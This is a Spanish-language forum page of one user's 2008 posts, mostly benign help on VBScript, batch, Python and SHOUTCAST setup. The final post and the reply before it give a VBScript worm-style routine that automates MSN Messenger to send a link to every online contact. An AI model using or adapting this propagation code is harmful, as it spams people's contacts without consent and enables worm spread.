Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Novlucker

#5021
Tu respuesta está en la última línea  :P

Citar<06/25/08@19:24:53> [yp_add] yp.shoutcast.com gave extended error (Cannot see your station/computer (IP: 190.71.5.102:8000) from the Internet, disable Internet Sharing/NAT/firewall/ISP cache (Connection timed out))

Por lo visto estas detras de un router o firewall, así que tendrás que.... abrir los puertos del router, o bien, desactivar el firewall  ;)

Saludos
#5022
CitarVeo Novlucker, que hay que pasar el argumento de string a integer con la función int(), actualizo el code, estoy intentando hacer un frontend en Delphi haber que sale.

Tienes razón Shrick eso se me había pasado  :-X, es que mis conocimientos de python son básicos  :rolleyes:, en su momento preferí, el competidor de python, .... perl ;D

Saludos y sigue así

[Modifico:]Si estás buscando información sobre desarrollo de Gui para python aqui (click) tienes algunos comentarios, y desde ahí puedes llegar a http://wiki.python.org/moin/GuiProgramming donde encontrarás toda la información necesaria, pero en inglés  :-\
#5023
Scripting / Re: Ocultar ventana de apagado
3 Julio 2008, 13:19 PM
Si se puede, al derecho, y al reves  ;D, es decir, puedes meter *.vbs dentro de *.bat, y puedes meter ordenes de línea de comandos en *.vbs

bat
Citarecho msgbox "Hola ari-slash" >> %temp%\miscript.vbs
start /wait %temp%\miscript.vbs
del %temp%miscript.vbs

vbs
Código (vb) [Seleccionar]
set objshell = createobject("wscript.shell")
objshell.run "ping www.google.com"


Saludos
#5024
Scripting / Re: Ocultar ventana de apagado
3 Julio 2008, 04:00 AM
Extendiendo un poco más la explicación  :rolleyes:

vbs = Visual Basic Script, al igual que batch, es un lenguaje interpretado, basta con escribirlo en el notepad, y guardarlo con extensión *.vbs para poder hacer algo  ;D
Es parte del wsh, sinónimo de windows script host, motor presente en win por defecto, desde win98 hasta la fecha, dicho motor se encarga de  *.vbs así como de *.js (java script)

Pero volviendo a *.vbs en definitiva, da muchas posibilidades a la hora de interactuar con el sistema, y podría considerarse el hermano menor de VB (a mi criterio) ya que cuenta con una sintaxis muy parecida  ;)

Ejemplo:

msgbox "Hola ari-slash"

Copia esta simple línea y pegala en el bloc de notas, guardalo con la extensión de *.vbs, y ya verás, un simple mensaje, pero es como el "hola mundo" que se hacen en muchos lenguajes  :xD

Por más datos

http://es.wikipedia.org/wiki/VBS
http://es.wikipedia.org/wiki/Windows_Scripting_Host

Saludos  ::)
#5025
A ver si se entiende... la imagen debe de estar en la web!!!!

No sirve si esta en tu disco duro

Si quieres postear una imagen, ve a

http://www.subirimagenes.com

Ahi te deja examinar tu disco y subir la imagen que guste, cuando haya terminado, debajo, te pondrá un link del tipo http://s2.subirimagenes.com/otros/previo/thump_708784aicacion.jpg, y ahí esta tu link, ves como termina en jpg, esa es tu imagen (puede que hayas subido otro formato, como ser gif)

Luego pegas esa dirección entre las pestañas que ya te indicaron y listo.... se verá la imagen

Saludos
#5026
También lo probaré en cuanto llegue a casa... ;D

CitarPegador de archivos
Por HACER...

El pegador no debería darte complicaciones, ya que debería de conseguirse con un for, en el que se van abriendo los archivos y se va guardando su valor, para luego escribirse dicho valor en un archivo

También te aconsejo importar el módulo sys para que ruta y tamano_trozo puedan ser pasados como parámetro por el usuario de este modo..

Código (python) [Seleccionar]
# -*- coding: cp1252 -*-
# Cortador by Shrick
# Gracias a Google y Documentación de Python
import string
import os
import sys

ruta = sys.argv[1] # Archivo a dividir
tamano_trozo = sys.argv[2] # Tamaño de los trozos (Bytes xDDDD)
tamano = os.path.getsize(ruta) # Tamaño del Archivo (Bytes)


python cortador.py "prueba.jpg" 100000

;)

Saludos
#5027
Estuve haciendo pruebas, y efectivamente es como dices... es que las unidades montadas (desde pendrive) las marca como extraíbles  :-\

CitarAunque es solo un detalle, pues ¿quién va a montar unidades virtuales de pendrive, cuando son medios transportables? en la práctica tu code es mucho más rápido y eficiente.

Nunca se sabe, siempre aparece alguien  :-X.... por lo que en definitiva, tu code es 100% certero, en cambio el mío, si bien es más corto y rápido, deja un pequeño margen de error, pequeño, pero error al fin  :rolleyes:

Saludos
#5028
carlitos.dll, en hora buena, pero... donde ha ido a parar el code para probarlo?  :P

Y antes que nada me quedó una duda.
CitarLa única desventaja es que no trabaja en cuenta limitada
CitarEn cambio, el código que hice muestra los volumenes reales, y funciona, en cuenta limitada.

Citaraunque eso si, si montas una carpeta como unidad, por ejemplo:
subst L: G:\carpeta_pendrive
y ejecutas el .vbs te muestra dos unidades:
G:
L:

Esto no lo sabía, así que voy a revisar la manera de solucionarlo

Saludos
#5029
Scripting / Re: Propagacion Msn en vbscript
2 Julio 2008, 04:30 AM
Cita de: JJWolf en  2 Julio 2008, 03:13 AM
Se ve buenisimo gracias.
Creo que tengo un problema lo quise probar y me tira el error activex component can't create object: 'Messenger.UIAutomation' porque sera eso?

Es que vbscript interactúa con determinados objetos pertenecientes a ciertos programas... tienes instalado el messenger?

A mi no me da problemas con las versiones 7 y 8 del mismo, para que te hagas una idea, este método de interactuar con el msn lo conozco desde enero del 2007, y me sigue funcionando con la versión más nueva del messenger  :)

He modificado además el script, ya que vi que en ocasiones, si eran muchas ventanas las que se abrian, se perdía el foco y el mensaje no se enviaba correctamente, por lo que agregue

Citarobjshell.appactivate contacto.friendlyname

Que se encarga de obtener la ventana, según el nombre amistoso de las personas... no la dirección de mail, sino los simbolos que todo el mundo pone  en su lugar :P, luego de esto si, se envia el mensaje   ::)

Saludos
#5030
Buenas a todos... una vez más, estaba algo aburrido, así que he creado el siguiente script... en algún momento se me había ocurrido hacer un gusano que se propagara por msn, pero luego deje eso atrás y ya no me interesó...

Al ver el mensaje de RockoX me recordé esa idea que había tenido y lo que hubise sido su implementación en *.vbs (hay codes parecidos para vb)

Código (vb) [Seleccionar]
set taskmgr = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery ("select * from Win32_Process")
set objshell = createobject("wscript.shell")

for each process in taskmgr
if process.name = "msnmsgr.exe" then
'Revisamos que el proceso del msn este corriendo
Set objMsn = CreateObject("Messenger.UIAutomation")

for each contacto in ObjMsn.mycontacts
'Por cada contacto en nuestra lista...

if contacto.status = 2 and objMsn.mystatus = 2 then
'Si nuestro estado es online, y el de nuestro contacto tambien...

Set iM = objMsn.InstantMessage(contacto.signinname)
objshell.appactivate contacto.friendlyname
objshell.SendKeys "Visita el hacker.net :D{ENTER}"
'Abrimos una ventana de conversacion y enviamos un mensaje

end if
next

end if

next


Si alguien quiere probarlo, recomiendo quitar el {ENTER}, ya que sino enviarán el mensaje a todos sus contactos online   :P

Para que haga algo, deben de tener el msn abierto, y estar como conectados, así como también deben de estarlo sus contactos, y luego si, ejecutar este script

Bueno, eso fue todo, un pequeño aporte que quizás sirva como ejemplo (de seguro es detectado por varios AV)

Saludos   ;D